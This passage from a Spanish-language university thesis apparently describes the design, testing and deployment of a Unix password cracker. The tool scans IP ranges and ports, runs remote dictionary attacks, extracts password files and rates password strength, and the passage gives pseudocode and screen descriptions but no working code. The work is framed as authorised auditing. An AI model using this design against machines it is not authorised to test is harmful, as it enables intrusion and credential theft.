puerto activo

asociar la ip de la maquina escaneada, el puerto abierto

y el servicio que se usa en ese puerto

preparar la pantalla con los datos asociados

presentar la pantalla final de resultados

Si_no

mostrar mensaje por pantalla y DOS

“ No hay resultados que mostrar, verifique que la ip este

activa y se esta conectado con la red”

verificar posibles estados de error del sistema

volver a la pantalla principal

Fin_si

Grafico -6h- Diagrama de Especificación de Procesos

Page 443: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

87

Especificaciones de procesos Hacking de passwrds

Preparar modulo

hacking de password

Verificar que la ip y el puerto escogido esten activos y se esta

conectado a la red

Llamar a la funcion

verificar_estados_modulo_y_conexiones_de_red

Ejecutar el script de acceso al sistema

( se pretende ganar acceso a una maquina determinada

estableciendo una autenticacion remota, y forzando el ingreso de

contraseñas, ataque de diccionario )

Monitorear resultados de ejecución

Presentar por pantalla

proceso captura

Se mostrara como esta progresando el proceso de ataque, al

intentar establecer conexión remota a la maquina que va a ser

invadida

Verificar posibles errores del sistema

Se podra llamar a la funcion que valide el modulo y la conexión de

red

Capturar resultados y mostrar por pantalla

Mostrar por pantalla el progreso del ataque, y si se pudo o no

establecer la autenticación

Grafico -6i- Diagrama de Especificación de Procesos

Page 444: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

88

Especificaciones de procesos Analisis de passwords

Preparar modulo

analisis de passwords

Verificar que el ataque de password haya tenido éxito y se hayan

obtenido resultados

Preparar script captura_passwords_maquina_linux

ejecutar script captura_passwords_maquina_linux

Capturar resultados y mostrarlos por pantalla

Si resultados_validos == true

mostrar pantalla con resultados de passwords

capturados

Si_no

mostrar mensaje” no se pudo obtener ningun password”

verificar posibles estados de error del sistema

volver a la pantalla analisis de passwords

Fin_si

Evaluar tipo password

Verificar que se hayan obtenido resultados de captura_password

Establecer conexión con la base de datos

Preparar la función analisis_passwords asociandola con los

parámetros respectivos

Llamar a la función analisis_passwords y enviarle los respectivos

valores

( la funcion de analisis asociará el password obtenido con valores

que tienen que ver con una evaluación de la seguridad del mismo,

hará un analisis inteligente, mostrando sugerencias y

recomendaciones con respecto al uso de los passwords )

Preparar la pantalla de resultados del analisis

Grafico -6j- Diagrama de Especificación de Procesos

Page 445: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

89

Generar logs reporte

de password

Verificar si se han obtenido passwords de la maquina escaneada

Si resultados_password == true

llamar modulo reportes

preparar la pantalla con los resultados obtenidos

si opcion_menu == guardar

establecer conexión con la base de

datos

guardar el reporte

fin_si

Si_no

mostrar mensaje por pantalla

“ No hay registros que guardar”

verificar posibles estados de error del sistema

retornar a pantalla analisis de passwords

Fin_si

Presentar pantalla

resultados analisis

Se desplegará una pantalla con todos los datos obtenidos de la

captura de passwords, asociados con su nivel de seguridad, % de

riesgo de uso y algunos parámetros de evaluación de contraseñas.

Se mostraran sugerencias acerca del uso de los passwords y se

podrá ver si se desea una página con políticas de uso de

passwords adecuadas.

Se tendrá la opción de presentar un reporte estadístico del analisis

o un historial, con opciones de menu desplegadas en pantalla

Grafico -6k- Diagrama de Especificación de Procesos

Page 446: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

90

Preparar modulo

reportes

Verificar que se hayan obtenido datos de la base de datos

Y de todos los modulos que quieran hacer un reporte.

Establecer conexión con la base de datos

Si conexión establecida == true

preparar pantalla reportes

desplegar pantalla reportes

Si_no

mostrar mensaje por pantalla y DOS

“ no se pudo establecer conexión con la base de datos”

verificar posibles estados de error

Fin_si

Escoger tipo de

reporte

Se permitirá en la pantalla escoger el tipo de reporte

Select case opcin_menu_tipo_reporte

caso 1: por fecha

generar reporte por fecha

caso 2: nivel de seguridad

generar reporte nivel de seguridad

caso 3: generar

generar reporte general

End case

preparar la opción imprimir si se requiere

Especificaciones de procesos Reportes

Grafico -6l- Diagrama de Especificación de Procesos

Page 447: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

91

Preparar modulo

estadísticas

Especificaciones de procesos Estadísticas

Verificar que se hayan obtenido datos de la base de datos

Y que el modulo reporte tenga datos de los cuales se pueda hacer

una estadística

Establecer conexión con la base de datos

Si conexión establecida == true

preparar pantalla estadisticas

desplegar pantalla estadisticas

Si_no

mostrar mensaje por pantalla y DOS

“ no se pudo establecer conexión con la base de datos”

verificar posibles estados de error

Fin_si

Escoger tipo de

estadistica

Se permitirá en la pantalla escoger el tipo de estadistica

Select case opcin_menu_tipo_estadistica

caso 1: tabular

generar estadistica tabular

caso 2: grafica

generar estadistica gráfica

End case

preparar la opción imprimir si se requiere

Grafico -6m- Diagrama de Especificación de Procesos

Page 448: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

92

Preparar modulo

ayuda

Especificaciones de procesos Ayuda

Verificar que las paginas de ayuda esten disponibles

Si paginas_ayuda == true

presentar paginas de ayuda

Si_no

mostrar mensaje por pantalla y DOS

“ Ayuda no disponible”

retornar a la anterior pantalla que se estaba ejecutando

Fin_si

Dar opciones de navegación y retorno al menu principal o a la

anterior pantalla que llamo a la ayuda

Grafico -6n- Diagrama de Especificación de Procesos

Page 449: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO 3

DISEÑO

3.1.- Diseño de la interfaz

Al iniciar la ejecución del proyecto, se

encontrará con una pantalla inicial, en

la cual se deberá digitar la clave para

poder acceder al uso del mismo. Solo

personas autorizadas podrán hacer uso

del programa.

Page 450: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

94

Ventana clave de ingreso

Grafico -7- Ventana de Ingreso

Si se digito la clave correcta me dará acceso al sistema, caso contrario, me

aparecerá una advertencia que me indicará la negación de acceso.

Page 451: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

95

Ventana inicial

Esta ventana es la que uno ve al ganar acceso al programa, la cual se

aprecia a continuación:

Grafico -8- Ventana de Inicio

En la cual se podrá ver un menú, con acceso a todas las ventanas del

sistema, además de botones de acceso rápido en la parte izquierda, que me

permitirán ganar acceso rápido a las diferentes operaciones que me permite

hacer el programa.

Page 452: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

96

A continuación presentamos las pantallas respectivas, que se presentarán al

aplastar cada una de las opciones del menú o los botones de acceso rápido.

Ventana scan ip

Cuando aplastamos el botón de scan ip, nos mostrará una pequeña ventana,

la cual nos pedirá que ingresemos un rango de búsqueda y rastreo de ips.

Grafico -8a- Ventana de Scan Ip

Page 453: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

97

Luego de haber ingresado un rango de IP valido, nos mostrará la pantalla en

la cual tendremos los reportes de ips activas y no activas.

Grafico -8b- Ventana de Scan Ip

La ventana me mostrará en la parte superior derecha, el reporte de las ips

activas dentro del rango ingresado, y si se encuentran ips activas, pues se

puede mandar a rastrear los puertos activos y no activos mostrados en dicha

pantalla.

Page 454: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

98

Si se encuentra algún puerto abierto de determinado servicio, se puede tratar

de establecer comunicación inmediatamente, aplastando el botón de hackeo.

La siguiente pantalla me muestra el progreso de la conexión y diversos

eventos que puedan estar aconteciendo, mostrándome al final si se pudo

establecer o no la conexión.

Grafico -9- Ventana de Ataque

Page 455: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

99

Una vez establecida la conexión, y ejecutada la auditoria, se puede proceder

con la parte del análisis, en la siguiente pantalla:

Grafico -10- Ventana de Análisis de Password

Luego de haber ingresado y capturado las diferentes claves, el sistema me

permitirá ver los respectivos reportes y cuadros estadísticos, pulsando los

botones respectivos.

Page 456: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

100

Grafico -11a- Diseño Arquitectónico

Page 457: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

101

Grafico -11b- Diseño Arquitectónico

Page 458: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

102

Grafico -11c- Diseño Arquitectónico

Page 459: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

103

Grafico -11d-

Diseño Arquitectónico

Page 460: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

104

Grafico -11e- Diseño Arquitectónico

Page 461: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

105

Grafico -11f- Diseño Arquitectónico

Page 462: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

106

Grafico -11g- Diseño Arquitectónico

Page 463: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

107

DISEÑO ARQUITECTÓNICO

Gestión del

modulo ayuda

Preparación de

páginas de ayuda

Presentación de

páginas de ayuda

Grafico -11h- Diseño Arquitectónico

Page 464: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

108

3.2.- Diseño a Nivel de Componentes

Ejecutar tareas

seleccionadas

Presentar pantalla con menú de opcioes:

-Obtención de password

- Análisis de password

- Reportes (logs)

- Estadísticas

Seleccionar tarea de ataque

Presentación de los puertos scanedos

abiertos

Presenación de IP encontradas

Retorna Guarda

Presenta por pantalla

resultados del scan IP y puertos

activos

Analiza el o los puertos por

donde se pueda accesar

Presenta en pantalla si es

posible realizar un ataque

Diseño a Nivel de

Componentes

Elección del ataque crack de

password

Grafico -12- Diseño a Nivel de Componentes

Page 465: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPÍTULO 4

DESARROLLO Y PRUEBAS

DEL SISTEMA.

4.1.- Desarrollo del sistema

a.- Creación de la Base de Datos

La Base de Datos esta creada

en Postgresql versión 8.1-

408. Se optó por el uso de la

misma ya que es de tipo

Open Source, como todo el

resto del proyecto. Pero se

Page 466: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

110

deja la posibilidad de uso de cualquier otra Base de Datos que

se desee.

Nombre: Proyecto

Día de creación: 20/Octubre/2006

Espacio usado en Data: 1800kb

Espacio usado en Índice: 1000kb

Tamaño: 10000kb, con un tablespace de tamaño expandible

Espacio disponible: 9000kb

Ruta del archivo:

/var/lib/psql/data/base

Log de transacciones: el log por defecto de la Base de Datos.

Nombre: postgresql-Wed.log

Ruta Archivo: /var/lib/psql/data/pg_log

Tamaño: 1.7 Kb

4.2.- Creación de los componentes

Para la creación de los componentes se utilizó la metodología de módulos,

siguiendo el modelo de desarrollo en espiral, se termina un módulo y se inicia

otro, o de ser necesario se los trabaja en paralelo.

El orden de desarrollo se detalla a continuación:

Autenticación

Escaneo

Análisis de datos

Page 467: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

111

Reportes

Estadísticas

Almacenamiento de datos

Los módulos reportes y estadísticas de datos, se trabajaron en simultáneo. El

modulo crítico del sistema es el de análisis de datos, el cual llevo mas tiempo

en desarrollar.

4.3.- Seguridades

Las seguridades del sistema están enmarcadas en políticas de uso, ya que

se trata de un programa tipo invasivo, el cual si es reprogramado con

diferentes objetivos de los que fue creado, puede llegar a causar mucho daño

en mi entorno de red. Por lo tanto, se debe tomar en cuenta el mantener la

integridad y seguridad de la información, la cual es el mayor activo de una

empresa.

Los aspectos de seguridad están marcados bajo los siguientes parámetros:

• Sistema operativo

• Base de Datos

• Sistema

• Registro de logs

• Humano

Page 468: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

112

4.3.1.- Sistema operativo.

El mayor riesgo es que nuestro programa se vuelva “contra

nosotros”, es decir, caiga en malas manos y empiece a causar

daño. Por lo que su operación inicialmente esta limitada a sistemas

operativos Linux Fedora Core 5, solo personas con amplio

conocimiento del lenguaje de programación y de diversas

distribuciones de sistemas operativos Unix, tendrán la capacidad

de modificar el código original para que pueda trabajar en diversos

ambientes. Además, cada sistema operativo maneja sus niveles de

seguridad, y si no se cumplen las condiciones para que el

programa pueda trabajar, el ataque será infructuoso.

Las maquinas como medida imperativa de seguridad, deberán

tener restringido el acceso a carpetas y archivos críticos del

sistema. Ya que el programa podría ser usado para extraer algo

mas que los archivos de los passwords. Hay que tener mucha

precaución con esto, si queremos evitarnos más de un dolor de

cabeza.

4.3.2.- Base de Datos

Todos los registros del análisis, especialmente las claves

descifradas, se guardarán en la base de datos, a la cual solo

Page 469: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

113

tendrá acceso el encargado de manejar el programa, la misma

puede ser acezada físicamente por medio de un usuario y clave,

definidos en la creación de la misma.

Todos los archivos de análisis y logs auxiliares que genera el

programa, son eliminados automáticamente por el mismo, cuando

termina la ejecución del programa. Para evitar el uso indebido de

estos datos, especialmente los datos de los usuarios y sus claves.

4.3.3.- Registros de logs

El sistema genera logs auxiliares, los cuales contienen datos de

operación del sistema, resultados de escaneo, passwords

capturados, etc., que son desplegados en el momento de ejecución

por pantalla, pero luego, por motivos de seguridad, son eliminados

del mismo. En este caso, sabemos que solo una persona está

autorizada para el uso de este programa en determinado ambiente,

si ocurriera algún problema, sabemos sobre quién cae la

responsabilidad del uso del mismo.

Page 470: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

114

4.3.4.- Humano

Este es un punto muy importante a destacar, es seguramente el mas

difícil de controlar. El mayor riesgo es que el programa caiga en

manos “equivocadas” o que la contraseña del mismo sea divulgada,

con esto todo el plan de seguridad queda destruido. Se tendrá

especial cuidad con los puntos arriba mencionados, ya que el

programa puede ser modificado fácilmente por personas que tengan

los conocimientos suficientes, para hacer un verdadero daño dentro

del entorno de trabajo.

4.4.- Pruebas del sistema

Las pruebas del sistema son un mecanismo para comprobar el

funcionamiento correcto del software, en este sistema se han hecho varios

tipos de pruebas entre las más importantes tenemos:

• Verificación y validación

• Pruebas de unidad

• Pruebas de integración

• Pruebas alfa y beta

• Pruebas de seguridad

Page 471: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

115

4.4.1.- Verificación y validación

Estos términos van de la mano, puesto que el tipo de prueba

verificación analiza que no existan errores en la implementación del

software, y la validación analiza que lo que se define en las

especificaciones iniciales guarde relación con lo desarrollado.

Se realizaron este tipo de pruebas, en especial con los datos que

ingresan al sistema, y se comprobó todos los posibles errores de

ingreso que se pudieran dar, corrigiendo con codificación extra en

todos los casos.

Se verificó que el sistema realice las operaciones de auditoria para las

cuales fue diseñado. El código original entregado solo realiza este tipo

de operación, y no va mas allá de lo que se propuso inicialmente, por

motivos de seguridad, se anularon líneas “peligrosas” en los scripts de

auditoria, las cuales podían causar grandes problemas si el programa

cae en manos de personas ajenas al entorno de la empresa.

4.4.2.- Pruebas de Unidad

En este tipo de pruebas de unidad, se evalúa el desempeño de cada

módulo de manera independiente, y forma parte del tipo de pruebas de

Page 472: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

116

la caja blanca, es decir analizan procesos de cada modulo, para

probar coherencias.

Se realizó este tipo de prueba en los siguientes módulos:

• Autenticación

• Escaneo

• Análisis

• Hackeo

• Registro de datos

• Reportes

• Estadísticas

En el modulo de autenticación se probaron las clases que me dan

acceso al sistema, se comprobó su operabilidad, me dan máximo 3

intentos de autenticarme, sino me deniegan el acceso.

En el módulo escaneo se comprobó que escaneaba dentro del rango

de IP establecido, sin ningún problema es capaz de rastrear

direcciones IP de todo el entorno de la red, excepto direcciones de

acceso restringido.

El módulo genera rangos de direcciones de modo automático en base

a la IP configurada en la interfaz eth0 de la maquina Linux. El sistema

se adapta a la búsqueda de redes de tipo A, B o C.

Page 473: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

117

En uno de los módulos más importantes, el de análisis, se comprobó

que una vez decodificados los passwords de los archivos originales

que se logró extraer, se realizaba el análisis, con los parámetros que

el usuario haya definido en la ventana respectiva. El único

inconveniente es con respecto al tamaño del archivo de diccionario

usado para el análisis de las palabras y la complejidad del password,

más grandes, mas demora el sistema en terminar el análisis.

El módulo de hackeo, uno de los más importantes, se ejecuta sin

ningún inconveniente, si se dan las condiciones de operación que

requiere este. En otro caso, el acceso es muy lento y demorado, se

necesitará equipos verdaderamente potentes para poder hacer un

acceso en maquinas con una seguridad sofisticada.

Este módulo además depende del buen funcionamiento de otros, por

lo que se necesitará que todo el bloque en conjunto este operando.

Los módulos reportes, estadísticas, registro de datos y el módulo de

ayuda del sistema, funcionan de manera independiente sin ningún

problema.

Page 474: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

118

4.4.3.- Pruebas de Integración

Estas pruebas son de dos tipos:

• Ascendente

• Descendente

En nuestro caso, el proyecto se realizó con el tipo de pruebas de

integración de forma ascendente, se fue probando la integración con

módulos de nivel superior.

Como ejemplo:

Los resultados de la extracción de los passwords de los archivos son

utilizados por el módulo de análisis para su ejecución, sin esto la clase

no podrá iniciar su proceso de ejecución.

4.4.4.- Pruebas Alfa y Beta

Las pruebas tipo alfa se desarrollan o efectúan casa adentro, es decir,

se las realiza en el entorno de desarrollo en el cual estamos

trabajando. Y este tipo de pruebas trata de encontrar todos los

posibles errores. Esto es válido pero no suficiente, por lo que se

necesitan las pruebas de tipo beta.

En nuestro sistema se realizó con especial énfasis los dos tipos de

pruebas, las internas y las externas. Las internas simulando un mini

Page 475: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

119

laboratorio de computadores, en los cuales se uso una maquina con

Linux, y se empezó a rastrear información del entorno.

Las pruebas externas se las realizo con diversos tipos de usuarios,

con poca o mucha experiencia en el uso de herramientas java y

familiarizadas con el sistema operativo Fedora Core, realizándolas en

los laboratorios del Seminario de Graduación, pero solo usando

maquinas virtuales.

De toda esta experiencia se pudo recabar información sobre todos loe

errores encontrados, y así mejorar la calidad del software.

4.4.5.- Pruebas de Seguridad

Esta prueba fue la más importante, ya que se verificó que con suma

facilidad, modificando los scripts del sistema, y añadiendo archivos

maliciosos, se puede lograr mucho más que solo extraer los archivos

de los passwords de forma remota. Por lo que se vuelve imperativo

adiestrar a los usuarios con consejos de seguridad:

Revisar periódicamente los logs que genera el sistema operativo, para

comprobar que no se ha hecho algo aparte de extraer archivos con el

Page 476: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

120

fin de auditarlos, ver si no se ha realizado algún tipo de ataque

adicional a lo que realiza el programa.

Controlar el acceso a los recursos y carpetas del sistema, bloquear

accesos, verificar el acceso a puertos, mantener reglas de firewall

actualizadas, es un buen comienzo para mantener un nivel de

seguridad aceptable. En el Internet se pueden encontrar variedad de

información acerca de cómo implementar medidas de seguridad.

Concienciar a los usuarios sobre el uso y manejo del programa, ya que

siendo de uso limitado a personas de nivel superior, no está demás

aplicar normas de moral y ética con respecto a los administradores del

sistema, para que ellos no incurran en algún momento en un mal uso

del mismo.

4.5.- Calidad del Sistema

La calidad puede ser medida en varios aspectos, se puede decir con certeza

que es de óptima calidad, cumple con todos los requerimientos establecidos

por los usuarios, pero nos vemos un poco limitados en poner solo lo

necesario y restringir algún código malicioso, con el fin de no dar un mal uso

de la herramienta. Como el sistema fue desarrollado bajo licencia GPL,

queda en el buen criterio de desarrolladores y usuarios interesados en

Page 477: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

121

mejorar el programa, acerca de las modificaciones posibles que puedan

realizar, respetando siempre los principios por los cuales fue creado el

programa.

Page 478: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPÍTULO 5

IMPLEMENTACIÓN DEL

SISTEMA

5.1.- Tecnología

La tecnología usada en este proyecto es

de tipo Open Source, debido a los

beneficios que este representa, entre los

cuales citamos:

• El costo, como tecnología libre,

minimiza los gastos de licencias

Page 479: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

123

para la empresa, volviéndolos prácticamente cero.

• El código abierto, o sea, que cualquier persona lo puede analizar,

mejorar y publicarlo, para los demás usuarios técnicos interesados,

además de crear mejoras, se puede desarrollar versiones mejoradas

del mismo en conjunto con muchas personas de la Web.

• Multiplataforma, mas que nada funciona en diversas plataformas

Linux, pero su uso óptimo se de en maquinas con Fedora Core, el

lenguaje java permite esta característica, el cual puede ser fácilmente

modificado para trabajar, incluso en plataformas Windows sin

problema. La base de datos es de tipo Open Source, este criterio no

impide igual que el programa pueda ser usado con cualquier otro tipo

de base de datos, realizando el mantenimiento necesario.

Para llevar a cabo la implementación del Cracker de Passwords Unix en

Sistemas Operativos Fedora Core 5, se necesita recursos del tipo:

• Elementos Físicos

• Elementos Lógicos

• Recurso Humano

• Infraestructura

• Capacitación a usuarios

Page 480: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

124

Podemos entonces plantear la siguiente tabla de Costos de Implementación

del Sistema.

Cant. Tipo

Elemento Elemento

Costo Unitario

Costo

2 Físico Computadoras $ 1.200 $ 2.400

1 Lógico Linux Fedora Core 5.0 0 0

3 Humano Equipo de Desarrollo $ 1.000 $ 3.000

1 Infraestructura Equipo de Redes $ 500 $ 500

1 Capacitación Capacitación Usuario $ 150 $ 150

Total $ 6.050

Tabla -4-

Costos de Implementación

5.1.- Elementos Físicos

Entre los elementos físicos necesarios para la implantación podemos citar los

siguientes equipos de computación:

• Mínimo dos equipos, máximo los que se desee, un equipo nos va a

servir como desarrollo y para hacer de “equipo de auditoria”, el cual

debe poseer las siguientes características:

• Procesador Pentium IV 2.0 Ghz o superior.

• También se probó con una buena Perfomance en equipos con

procesador AMD NX1750.

• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las

prestaciones bajaron significativamente.

• Disco duro con espacio de 200 MB mínimo para la instalación del

programa y los aplicativos adicionales.

Page 481: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

125

• Disco duro con espacio particionado de 10Gb mínimo para la

instalación del sistema operativo Linux Fedora Core 5.0.

• CD-ROM 52x para la instalación de los aplicativos.

• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor Perfomance,

no necesariamente, se puede usar cualquiera.

• Cable de red para la conexión con la LAN local, categoría 5e o

superior.

Se puede disponer del uso de una tarjeta de red inalámbrica, pero el

rendimiento del programa cae drásticamente. Se optará entonces por

comprar una 3-Com o D-link.

Monitor de 860 x 640 para poder visualizar la parte gráfica.

Si se desea se puede operar el proyecto con una maquina virtual, la cual se

explicará su funcionamiento en el manual técnico, la cual debe ser

configurada con las mismas características que se mencionan en esta

página.

Como se ve, debe ser un equipo con altas prestaciones, es necesario ya que

el equipo va a realizar simulaciones de ataques hacia las demás maquinas,

este tipo de operación puede consumir muchos recursos del sistema, por lo

Page 482: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

126

cual la maquina en el momento de hacer la auditoria, solo debe dedicarse a

esta labor. Más detalles se encuentran en el manual técnico.

En este equipo entonces, servirá para esta labor y para desarrollo del

sistema.

Se puede tener un segundo equipo, el cual servirá para realizar las labores

de pruebas del sistema, se puede trabajar también con equipos de tipo

“maquinas virtuales”, los cuales pueden tener las configuraciones de

instalación por defecto cuando se levante el Fedora, o las configuraciones

por defecto que la maquina posea.

Un ambiente óptimo de trabajo sería al menos contar con tres equipos, uno

con las características de altas prestaciones mencionadas arriba, y dos

equipos con los cuales se realizarán las pruebas.

5.2.- Elementos lógicos

Se deberá implementar el computador principal, con las siguientes

herramientas:

• Tener instalado y en operación el sistema operativo Linux Fedora Core

5.0, correctamente configurado en el cual se va a desarrollar el

proyecto. Más adelante se detalla paso a paso la instalación y

configuración del mismo para poder empezar a desarrollar el proyecto.

Page 483: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

127

• El sistema operativo, una vez listo para trabajar, deberá tener

instalados los siguientes paquetes, los cuales se proporciona en los

CD's del proyecto:

